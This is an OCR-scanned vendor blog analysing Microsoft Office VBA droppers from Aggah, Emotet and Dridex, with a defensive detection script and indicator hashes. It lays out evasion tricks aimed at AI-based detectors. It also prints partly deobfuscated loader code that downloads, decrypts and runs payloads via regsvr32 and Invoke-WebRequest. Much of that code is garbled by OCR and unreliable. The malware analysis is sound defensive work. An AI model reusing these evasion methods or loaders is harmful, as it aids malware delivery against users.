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Microsoft Office droppers have been a favorite of threat actors for years, continuously finding and exploiting
them. Cybersecurity vendors take note and block these entry routes. It‘s a perpetual cat and mouse game and,
unfortunately, bad actors typically have the upper hand — at least for a short time. And as Al-based solutions have

matured and gained market share these tools have also been targeted for evasion.

This blog will review a variety of VBA droppers that employ different bypass techniques, including an analysis of

an evasion method used in the recent Emotet wave. We will also introduce a Python script I wrote to increase the

likelihood of detecting these malware threats.

You Got Malware — Aggah’s Use of MsgBox Comments

Aggah, a threat actor group that has been active since 2019, has delivered many payloads, mostly RevengeRAT, to
numerous victims. This group is particularly adept at working with Microsoft Office documents and employs
various methods in their VBA scripts to make them stealthier. One of these methods, which appears to be used to

evade Al-based cyber tools, is the use of comments containing the string ‘MsgBox.’

‘MsgBox’ is a function used in VBA to prompt message boxes, which appear in many Visual Basic scripts and is
usually benign. Having this string in the comments of a VBA code increases the likelihood that it will be classified
as benign by an AI module. If the code is short and the lengthy ‘MsgBox’ comments comprise a substantial part of

it, this will further increase the chances that it will be classified as benign.
L.
¥4 An Aggah dropper's VBA code
A Command in a Comments Stack — Emotet’s Use of Random Sentences

We have seen recent Emotet VBA droppers containing long comments composed of random words. As we see in
the figure below, the executed command and the variable containing it were not obfuscated, just floating in a sea

of long random comments.

Using these excessive comments might fool both analysts and Al solutions (the former might miss the malicious
MSHTA execution when looking at the code, and the latter might give more consideration to the benign features,

aka the excessive comments, than to the malicious ones).

[

ll"""Figure 2: An Emotet dropper's VBA code, the actual commands are highlighted in yellow. Note: a few long comments were redacted,

since each of them is just a compilation of random words and none of them contribute to the understanding of the code’s functionality.
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Homegrown Obfuscation — Dridex’s Usage of Self-Created Functions

One of the most interesting droppers we have recently observed was crafted by the notorious threat group Dridex.
In the following example, Dridex employs several sophisticated methods aimed at increasing its likelihood of

success — delivering a payload successfully and without detection.

As we see below, the script retrieves strings stored in Excel cells and runs them through the ‘slow’ function, which
returns a de-obfuscated version of its input. The first string is collected from the “B101” cell and is translated into
“WScript.Shell,” the second is assembled by activating VBA’s “Transpose” and “Join” commands on the cells
range “K111:K118.”

R 1 irrelevant code- redacted/// /11111 HTHITITETEETEREEEET TR T TS
Private Sub tools_Layout(ByVal Index As Long)
h (4589555): find

End Sub

Function slow(a As String)

p=1o0=Lenl(a)

Fori=4TooStep3+p

slow = slow + Mid(3, i, p)

Next

End Function

Function h(s AsLong)

h = slow(Cells(101, 2))

End Function

Sub find()

landing: On Error Resume Next: WScript.Quit="" &
Cre ateObje ct(h(9)).Run(slow(Join([TRANSPOSE(k111:k118)], "")), O, False): Debug.Print WScript.Qui:
ActiveWorkbook.Close False

End Sub

SHHHTEEL T E T EE AT firrelevant code- redacted/f/ /11T 1FTEETELEEEEIEERTEEEREEEEEE AT
The Dridex dropper’s VBA

output. Note: some parts of the code were redacted, since they are irrelevant to this blog.
After retrieving the data from the cells, the following is received:

Li
L

To de-obfuscate this part, I replaced every “${PJ}” and “${GAB}” mentioned in comma and quotation mark,

respectively. I also replaced the indexed placeholders with the appropriate strings and removed unnecessary

characters, such as backticks.

This resulted in the following code:
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=

This is obviously obfuscated as well — the main executed string is base64 encoded and deflate compressed. Of
note, the attackers went the extra mile and tried to hide their use of the ‘iex” command (short for ‘Invoke-
Expression’) by retrieving the characters ‘i’ and ‘e’ from the value of the environment variable ‘pshome,” which

contains the path to the PowerShell directory, as can be seen in the highlighted section above.

After base64 decoding and decompressing the base64 encoded string, yet another obfuscated string is received.

=

After reassembling the strings and removing unnecessary characters, the following is received:

SET ("fK&1")({ [TyPel("coMVERt") )

set-variaBle ('Spvar') ([type]l("io.COMPrEssIon.CoMPressIOnmolDE™ ) )

$4aB 3= "Hds TALAAARAEA O 1xK ] 52791837 sDNT 3CLye rgP5G1SDR] eTHZk Y+ LU/ Ps 2uyd 3Ry 8014715/ 27 54 +0/ vH
rSe+ /TP noed++c 30 )S0oACYESABRW IAPEALMNO BT AEA R SumwAwFCAA MuAAS ETIBTXETAL sGg LmTahgT bl ngkDe
28w IdBWe lwlwhed I/ c ZkA b ria 2y MeKk rrC shgECNg 0E BaggB 81ddwAMG ZE ToSCC T4 BYCeCel Jri 8X+FF gV TRAQS 9R
ORkGVihAT e+XF/ yF dBVFaDL Sgghvbl SMEF/ /pPEUPKEY 3US VP H3Z 9gFyS 6y 7P SaDIU/ Ne 33 5Y 30y e of 1 De bQbd+nz
kS F1 kdz 1 Nbwbt XFMdk UZ 75K BT QEp 08 /k LgB BWEF 3 haliF evb yN9E ] Bxv/hid uSmHK Epgioighly Bos GBHUY T VA roo gu
UHMF OB /A SACKMrVMOZ 1+ T++UahyT 33 TRupy My Ttz kCHMEY 5 sNS RWNvi MF 8bMPp LS KQun Jdy IVET FYuJk /8pPTka
M y+CIwg7 SUjd4Fts sTS6s SHNLxF csbguyb Lge0etSink iDsmp Gy FXCSYOzUIvap Jo7 A7 7Zc LWOVkSs 6n1051HIdosz EL
CJoisTvu] TCOeDFUMsEEN Tol 81MA] FTUT /FuvINGab2 @ TWEFF g0 Tn 9aValQr T11 ghiQHM3Z G nly rid /WL by Mesovs
YARMSZSVZ CIVYZ LNx3] 11 1z3 ol vhAe] tWIPTVAMWI Z4b3 29X 2C+7r 2] 1p8/ VPR Odw1G IoL fqzEwWpi pAcYECI 5Y sRObZ
¥ uhFav+s Idafkce 216 3UxilUSywzulMsY phld 7 F0mvU SR bOWhk 8hPmer tri ESWUWE] 1HsU InmT 861 rONcS QR IGw1j @R
quelT IPO7 I 7w POz WRU L BhimMd BOMmBAR R+b gy Hr cy2 F ALZ riirx 2 CR Gy eNY Kp e Lw ANmMINB AU BEF cu 7 gAchiut
Ak sHPpHPR 10c 50k 30e LBmBoAc? praaXEF ZpTvd g9MLF vy Yt S oL 8 Me ec 42 WF FRS bs CBebp AP nalk wW eI de7 7R
REHC1ES oK ZHwx RnoXv L9 sm2 T/ G0/ ao+ 2g2by AZDUBUH I Sr«E KmSy8 kol T7 FRbERST %3t 74Gga JF TPCOr HC dge Gl
FO3vBnpVUEBSS] co Lj8Fxuse sNYGmi KHBg+agRhwl7 BLGDY HOBCwS1 mEADSViehma (MZ 25 b20A V=7 GI Doz hvXnmic ni
JevDEFIOeSwltvdsrgk TTKDZ dHFI9 Tk 2mivZxn fui Mohdly 7e TWzB8 U0 IKK VP ISKel 089Gy vI pwPIEDs haj 27 X2 Fq/ BD
S CO5x8qVUa 9841 Ri+ Sy BinGMMhz CoSF vk 5++52 AE 2TwlK @5ml5 7V EFL 2vDaMauFoPbR zg L+ &Y TOQMA/ kBESK Ipyvh
1i6obdTVByuaEYsmrlaabLlrniynfz RBeSAGaX5m/ 9 1+x5 10252 nuDkbe+JZ 71 QFpdy tFHE1VI 1r ./ wROCZAF 7ryB5ms
WV ok 2ZEMLE FoRK 1nRAS 1/ vUSFOF Py 1uSaLYalhyz 1691882 LSG3B 1zvES 1rP1aFrgsI nd ZNATRAMBI T vPFUKeF MF
Vi G7 thio 8X zyvK ad EUKKhGT gvC jUTIzwkHpGak z chkMg 3EEL ved tubd/ Xs DiU79vS rRY Dd fob TS I+FBARE 554 1W9z skKqtD
vp+Nk201oN8Hgz GN-+p\V 61 RRhSHI5] bl 5y 2vEHENMP OO SmIRG0A 1R 5/ TrI HmddDFL 6y JowC] JaF 13 pFEer INZRudB LS
TNUNVYeR zC 2o FryanBnNhadha 1gF 2p T 1 JW7uv RRXL xkK TR TCS O NG vp 3+ 30RGI Qo 22 Bh 78N 1 X eunob sY vimhP
Hv+Fz grded JWR 2MzDmra0] IakWNUdDn Ix 7t K3mTT rlk6a Joels rl 8+6 cuwhX+bErnGa cAgRt GI 2b 12T £cVZID T MY Jagu?
JLLEx2BmL bg7wd JVzPXwgrmy omnSk ]2 JRMGF 2/ 1Tk zuS6 1ZEG3 118/ k+3ees LoLEI SNgFfajAj IZFQvValEEwN2mzc 82
e0Y2RuqG/ d¥l3LXe JEwTYBEI RHFeRML SaSLS Dy vy koxdz SR e 34MLDY 1wl Bem+-AFr Gl L nmQbBsSUpLdvush+ 17w 1
kSkFVCag, uaa T/ jgodaVrPZaxamnaPc C7ms 1 CweRhes NKRTA Srény OwaloHav TPF hINDs 8E4w 5182z cTmat TVE1] A+
/3k18MIq 21057 10UZAGPALY PolSMSt GE FOSqR7AGAUZES/ 1 g+ FEVYEEX T d 8bYxNwU 75 109 LHATE Z8KbwrU4L gPh 3F
uIgFQTmB4 TWV18F e¥Uyedd BkaGmihA GmPazsL iyMdx e, 2pz T5FFE]358 13MN] LwaBz 82 tsCp2 1u18GNr 95y o+ KT 2KK LG
+AUk i TwP SHb 77 uSdaoul fwz cF L1k u+ROONWBEWhS Dt tC 313 7F inoVg FIC kD owfa+ MardI ct Be Qe Ly TAVEL YT w33 Id
BpSRT/hjieHgKE cdxdvZT eV 7+ LPmUrs4 eh8iBvFHNZ ngy Frts+7LrE /BERS TWFOMjghs6bInl vePgaYyBH] CZ vIaVy
+Y¥ Az 8a7 RWvdMF 3 pw TS7 8qUBwUp TV Fw+tK gl ILDST Ky keGP k2 y3Dwma3b @ TLpFaA dSnsL Lk /Oml 1 dv § 2] rM2F0tUEm
pDXTmYDFEM74ArQrepZR13Evl bod186HEz IShAr IRz pMhL rCmUy/ by 1 DRWYCVirmu muP 6+ 9XnVn RiegCU 56 /7851 GRPVBKP
*Pvpmyy Nn/ SRKSwyMp7 Lr EedVOFBY MW IUS82 C+kzRMgHL e1GZmaKg sbDpOyemaMli rOTEF UmVaVm3Z UZ3u7 pZ 5iHTo
e 6cGaghc +1wkipLhraghyOy Sy 1JF/ z6oVecgMyRlws A8 A=="" ;

function YI(%{0q})

{

&("nal") ('cf') ("Mew-Object");

I{Ilsalllj {IGKI] {IliEKII ‘;‘

AL e (IO StreamReader™) (L cF' ) ("I0.Compression  GZipStream” ) (&( 'cF")
("I0.MemoryStream") -A @(, | gET-V&Riable ("FKE1") -wALUEONnLly

11 "FromBasesdstring™ ). Invoke(S{gd} 113, ( gEt-Varidble ("SpVaR")

J.vallE:: "decompRESs" 1)) . ( "ReadToEnd™) . Invoke ()

¥

tyit) (5{aB})
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Just as before, base64 decoding and decompression are required in order to retrieve the code of the next stage.

However, this time Dridex employs something we have not seen in previous stages — aliases.

In the above snippet, ‘nal’ (‘New-Alias’) and ‘sal’ (‘Set-Alias’) are used to set ‘cf’ and ‘ox’ as aliases for ‘New-

Object’ and ‘iex,’ respectively.

“.(‘yi’)(${aB})” returns another call to the ‘yi’ function, which in turn provides the following output:

(“{2}{a}1}" -F'Et-It", EW*

URATY. ', "TATY*, “syst®, ‘pr*,
HYSE*,'t') (={@}{1}"-f "ONR

F'lace’, ‘rep”).Invoke(® °,°

I°P}. "G ELS TRing™(${g}));

B{“{11{8}{2}" -F'b', "VARIA®

${00T hx}= [type](® {5}{2}{1.}{4}{5}{9}{3}" -F eMb', tecT','L', 'Ly', ‘lon.Ast, 'reFt,s")

feypel (- {z}{u{sns}{aﬂsn?;{ﬂa}{f:}fi}" -F

L

A*{@H1}" -F 5%, tert)  (S{1H{e}{2}"-f'Teu’, ‘Mo, 'x') [TWE]{ {2He}{1}"-¢
E,CREY,CConvt) ) o ("{BH1}"-f ‘set-ite’,'m ; ("{2}{e}{1}"-f'mp’,‘c", 'VaRIablE:n")
([Type]("{1HB}" -f "e’, io.Fil")
([type]("{1HB}" -F'ex®,"REG") ) ;
MOR{AH} B (E{AH} . ("{a{@}{2}" -F *st’,"sub’,"ring'). . Inveke(${G}) -replace{’'-',""})ireturn
L el=(&(C{3HBHIH2}"-F -, PP, "ocess”, ‘Ge') -Id

B{P id}). "M A in WIn d OwHandle® ;§{c” Ad=[Runtime. InteropServices.HandleRes] ;S{un}=8("{1}{8}
{2}{3}"-F b, “New-0°, *jee, "t’) ${C"A}${e},${Q E});${t}=a("{2H{1Ho}" -¥ ‘et’,’-

Dbje®, ‘Mew' ) S{c A}(Z,${s}H:(( '[n'['El'J {"{3}{2}{1}{3}"""'1'“1';"ﬂﬂ'u'lﬂ'u"l"aﬂﬁﬂ']

b UWALTUET (" {I MBI FrL, mﬂltthrt'J alMame', L'y, Invake( (“{@H{1}{2}"-

Filind”, "owsBa®, "se” :I:I:I o {1_}{&}" - "a', 'GetTyp ). ]:nwlu.l{{ {6}{1}{5}{3}{4}{1}{3}"

F's', "Method”, "n32.°,"ns", "afeNative’ , 'U", "M WL )} ) (" {2H{e}{1}" -

‘Wind®, 'owPos® , "Set" ). Invoke(${X x} B{TH 8 {sh, 3{5}, ${F A}, 5{fa},64.5%256) ;4{I}=( "0 2} {1}"
-f ‘om', ‘0", fger®)ig{i}=${I}.("{1H{B}" - "plit’,’'s').TInvcke(' ‘);E{ss}=.("y*}((

SG M " {A{2HE}"-Ff "nt°, GetCu’, rre') . Inveke!) ). "u' SeR"."Va" Lue"); ${E}="ht +("{11{0}"
- i, et (I} B{G}]#("{1He}" -F'a’, "nag')+" o' H(S{T}[${5},4{g}] -replace
(NS} )+t Rt B (S5} RS {“{BH{IH1}" -F'W°, ‘dable:/F', ar') ${el. ("{11{8}" -
hpetset) 1 (C{2H{eM{3H1}" -Fleb’,'ent’, ‘Net.W',"C1i"});&( 51"}
(“{aH{1H21" -Ff W', e, "rlable:C2') (. (C{EM{1{2}"-F'Mew-0bj', ‘e’ ety {.('Gv') 1 -
Ma})ig('sV') ('e°) ("{ZH1He}"-f ‘ata’,'loadd’, ‘Down');${e"Ad}=(({[Char[]](&("{1H{aH2}"-F
‘ri’,'va', ‘able”) ("C2°) -ValueOn).{{.{"{L}{@8}{2}"-F'ab’ ‘vari', 'le'} (‘c'} -

Mal)y. "inwo ke™( (. (“{23H{1HB}" -F "ble’, {ia","Var') ('F')). VAL be"))-

Hadn®* 4T Fel=S{En Vet e mp} ;${M Li=(${d}=.("{1}{8}"-F 'ei','g'} ${r'FE}|.("{2H1He}" -f
‘andam’, ‘et-rt g )1)."Na'mE® -replace

" {1 S WE{T FO "\ s {HI}+'

RV ME=S{0"ad) ({132 He}" -

Flg',tsut, timt, Thstet)  Invoke{${s}, ${G}) ;R {Pi=[ Lnt]S{vM}*£{F A} ;4{o oa} =#{o Ad}.("{1H{B}"-

F e, ‘remov® ) . Invoke(${5}, ${G}) ;8P 1}=f{o " 0a} -split'l’;.("{@H{1}"-F'sa’,"1"}) ("mc")

(A2 -F e egsvet 32 IRk (B(C{@H{2M1}"-F'vanl', 'Ble',"a") (“{1}{e}" -f

'NR@','0') -ValUE )::*U TFE" :function Va{${ZX}){${Sal= £{n oTEuX}::("{8}{1HIH2}"-¥

‘B, 'se6dString ", tomBa® ) Irvoke{${zx}); return ${5°A}}; foreach(${II} in

B{PLHE{ST IS p)=@0) s5{p PLI=R{wM}. ("{2ZH{1H{@}"-f

'rhrray','ha'.'an:'].Invnkz(;;i{l'l}:&{'u'a'J{i{L'I}};fﬂr{i{]L}d{s}; #{§1} -1t

B{Ii}."cou'Nt™; ${jL}++){${G} += [char]{[Byte]3{IT}[${j1}] -

jpxor[Byte]${P pT}[${] LIXE{P pT}."c OUNT" JJ}};S\{W}—HO Ca}.“repla’ce” RRi{FL}[${5}]+"'J £
e o R L B e L T )

DUV ALuET s ("{2HB}H{1}" -f "liByte','s','Writed').Inveke{E{w}, (& 'va" }(i{'u' vV} -replace

.{2eapEtyphpF(( (B} -F g, el ) S{wh) . ULe NGTht -1t ${p}){exit}i. ("{1H{8}"-F

‘ep’,'sle”) 9;&("mc") -5 B{w};.("{1ME}" -f 'p',’'slee') 13; (E{"{1He}" -f 'le’, vARIAR")

("{@H1}" -F "om',tdC') ). UWATLUE"::{"{@M2M1}" - 'Weiteall','s','Line').Invoke(${W}, |

,*1a°
-F'repl.ac'..'e'].Invnke(i{s's}.':D?,'

Pt{aHeH1}" -FrLABLE: Y, o', vt )

» 'MDoWSIDEM® , "{NCTPA', 'L.Wi',"SEC'}) ; B("{8H1}"-
{ [Tvrel(" {2}{1}{3} -F' ' 'HEﬂDI' ‘Text.e'));

Vi B({IME} - CET','s') (“3sRU+"gad")
${5}=0:3{G}=1;5{F A}=188; function

{"35r"+"gdB") -VALUEs )::{"{e}{1}" -
1

And after some cleanup, we can finally get a semi-clear picture of what the dropper tries to do:

=

After going over the above code (and adding a few notes for myself along the way, which I left in the snippet), I

finally reached a verdict regarding the dropper’s true intention: it retrieves the user’s ID, removes the hyphens it

contains, and assembles a URL that looks like this https://geronagal.]Jcom/gero?myHyphenLackingUID. It then

downloads a file to the user’s temp directory, decodes and decrypts it, executes the file’s content using ‘regsvr32’

and then, finally, deletes this content to avoid leaving any traces.

Since the domain is inactive and the focus of our blog is to present evasion techniques in Microsoft Office

droppers, I did not expand my analysis of the downloaded file. However, since we know that ‘regsvr32’ is used to
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execute the file’s content and that the payload is a DLL, we can assume that the downloaded file contains a DLL

registration command for the payload.

For a more expanded analysis of this dropper, you can read this excellent blog,

Less Complicated, More Files

Sometimes, simple obfuscation techniques can be sufficient to avoid detection, especially if the infection flow
involves multiple stages and files written in different scripting languages, as demonstrated below in the analysis of

an Emotet dropper from the malware family’s recent resurrection.

L.
#The Emotet dropper's VBA output. Note: some parts of the code were redacted, since they are irrelevant to this blog, moreover, some

of them are never executed.

As you can see, the VBA function “Cells” is used in this script to extract contents of specified Excel cells and use
them in the VBA script. Without knowing what these cells contain, it is difficult to determine whether the file is

malicious or not, especially since none of the commands seems damning enough.

To get a clearer picture, I replaced all the cells highlighted functions in the above code snippet with the matching

string values, highlighted in yellow in the below code snippet.

Ly

L

=%

A

P
This provided greater insight into the script’s functionality; the “Wscript.shell” string suggests Wscript will be
used to execute additional commands, while "c:\programdata\ughldskbhn.bat" and "c:\programdata\yhjlswle.vbs"

imply that Emotet uses these Batch and VBS files in this infection flow.

The strings highlighted in green in the above snippet are replaced in the lengthy strings extracted from the Excel
cells by an empty string using the VBA “Replace” function. Padding parts of the actual commands with these
strings decreases the chances of them being flagged during a static analysis. After the VBA “Replace” command is

run, the following is received:

Ly

L

=%

L

With the information from the above decoded strings in hand, I could determine that the next stage in the infection
flow is the VBS script, which the VBA dropper executes using “wscript.” Since there were no direct calls to the

BAT script in the VBA code, I could assume that, if used, it would be executed from the VBS script.

Basically, the VBA dropper only creates the VBS and BAT files, writes content into each of them, and then the
VBS script takes center stage.
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=%
l#-c:\programdata\yhjlswle.vbs’s original content

As can be seen above, the VBS script contains several commands, all concatenated using colons. After separating

the commands into different lines and activating the “replace” functions, I received the following:

P

Basically, the script executes the previously created Batch file and then tries to execute
“c\:programdata\x08neuihlows.dll,” while providing it with the value “hjyldksfkw3” using rundll32. Since this is
the first mention of “x08neuihlows.dll” and the VBS file executes the Batch script before running the DLL, it is

fair to assume that the BAT script is in charge of dropping the executable in the right location.

Just like the VBS file uses colons to concatenate commands, the BAT script uses ampersands to do the same:

[

L.
In short, the script sets a few variables, and concatenates their values in the below command.

start/B /WAIT
%ertEWRt4%%cvFHDErte755%%oifYdFGhse34sd%%wre DgdSdytDFf%%;jDFtHxdrgszegh%%AegFhtXfg
4f%%BXdgrtysews34yu%&echo CGFhjCDFthjufcjftT46r hsbgrdjehgdfgDRHdRHdrt4ydds rtgdjth

Which translates into the following:
s

After base64 decoding the PowerShell script, I discovered how Emotet downloads their DLL payload and from

where.

As can be seen below, the variable “MJXdfshDrfGZses4” contains a list of URLs which the script goes over using
a “for” loop. Each time the “for” loop runs, it tries to download the Emotet DLL into
"c:\programdata\bneuihlows.dll" using “Invoke-WebRequest.” Then, it checks if the downloaded file’s length is
greater than 47436 bytes. If so, it means that the DLL was downloaded successfully, and the loop breaks.

Ly
l#The PowerShell code used to retrieve the Emotet payload

Interesting Cells and Where to Find Them

As we see in the above analysis, storing the actual commands in Excel cells instead of in the VBA code itself can
be a good way to avoid detection because when a static analysis mechanism goes over the VBA code, it cannot
determine whether the executed content is malicious or not. Since Excel cells have benign uses in VBA code as

well, a security product may deem them as benign, to avoid a false positive.

Of course, if the cells are replaced with their content, the likelihood for detection increases. So I tried to find a

way to replace the “cells” function calls with the right strings without running the VBA code during the analysis.

Page 6 of 8



https://www.deepinstinct.com /blog/types-of-dropper-malware-in-microsoft-office

During my research, which focused on OOXML files, I found two files, which Excel creates by default, that could

help achieve this goal: “sharedStrings.xml” and “xl/worksheets/sheetName.xml.”

The first file, “sharedStrings.xml,” contains all the strings in the Excel file. The class SharedStringltem (ssi)
represents string items (si) and each si element contains a text (t). The file contains unique strings, each

representing the full content of one or more Excel cells.

Ly
ip SharedStrings.xml example

To match the strings to the right cells, we need a cell to string mapping — this is where
“x1/worksheets/sheetName.xml” comes into the picture. In OOXML Excel files, data containing cells will be
mapped in an XML file, which will be found in the following path- “xl/worksheets/sheetName.xml,” for example,
the cells of “sheet1” will be mapped in “xl/worksheets/sheet1.xml.” Each one of these cells mapping files contains
a tag called “SheetData,” which contains a “row” tag for each row in the sheet that contains data. Each “row”
entry contains “c” (cell) entries. Cells that contain strings have their ‘t’ (type) values set to ‘s’ and their ‘v’ (value)
tags contain an integer that is the index of the ‘si‘ object whose string the cell contains in “sharedStrings.xml.”

Cells that contain other types of data, such as integers and floats, have it contained in their ‘v’ tags.

L.
#aan example of an “xl/worksheets/sheetName.xml” file

By writing a script that extracts that data, matches cells to their appropriate values, and replaces “cell” function

calls with these values, I could make the script less obfuscated and increase the likelihood of it being flagged by a
static analysis mechanism. I also addressed the VBA “replace” functions issue and mimicked its functionality in

my code.

»

The script is still in the works and currently handles only the “cells,” “transpose,” and “replace” functions. In
addition, it only works on OOXML files and expects to get the VBA code as an input (I used oledump to extract it
from examined Office files). There is still much work to do and cases to address, such as use of variables in

function calls, e.g.: “cells($i, $j)” and of OLE files.

Prevention, Detection, and Everything in Between

Obfuscated droppers are more difficult to detect — they contain intentionally broken strings that evade static
signatures, store malicious content in Excel cells, and use excessive comments in the hope of hiding their
malicious content. But difficult does not mean impossible. Some patterns can still be signed statically, other
behaviors can be detected dynamically, and if you want to take the bulldozer approach, you can just forbid all

script executions (or at least most of them).

Conclusion

Deep Instinct’s agent uses deep learning to prevent malicious droppers, ensuring they can’t execute in your

environment. The Deep Instinct Prevention Platform stops known, unknown, and zero-day threats with the highest

accuracy and lowest false-positive rate in the industry. We stop attacks before they happen, identifying malicious

files in <20ms, before execution.
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https://github.com/deepinstinct/Exceller
https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py
https://www.deepinstinct.com/platform

https://www.deepinstinct.com /blog/types-of-dropper-malware-in-microsoft-office

If you’d like to see the platform in action for yourself, we’d be honored to show you what true prevention looks

like. Please request a demo.

Indicators of Compromise (Io0Cs)

0042404ac9cbe7c082b9c0ae130e956ab7989cfa72a3f3b0c7f2226e23a6c6ch Emotet (Excel cells method) Office
dropper

40ale0aa0e580e2a15bbfd70ba4b89d3dd549bdc7bc075a223f12db0ddd2195d Emotet (Excel cells method) VBA

code

ed7c68c3c103beaa7e5f30a3b70a52bb5428ce1498b7f64feda74342f93e16fe Emotet (excessive comments method)
VBA code

028a5447d36¢7445e3b24757d5cb37bafa54c5dfa7¢3393fa69dd26e278442a4 Emotet (excessive comments
method) Office dropper

9caed14e7f7d3e4706db2e74dc870abff571cce715f83ef91c563627822af6ad Dridex Office dropper
4f5ecf2c3073edd549e8ea2b1e65d8c478f3390567cffa3c909d328a3969ddd8 Dridex VBA code

cb9a5f0ad26cbb7b9f510b80df97f0045d7232d31cfde3cbce095d1c88c90e89 Aggah VBA code

Source: https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office
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https://www.deepinstinct.com/request-a-demo

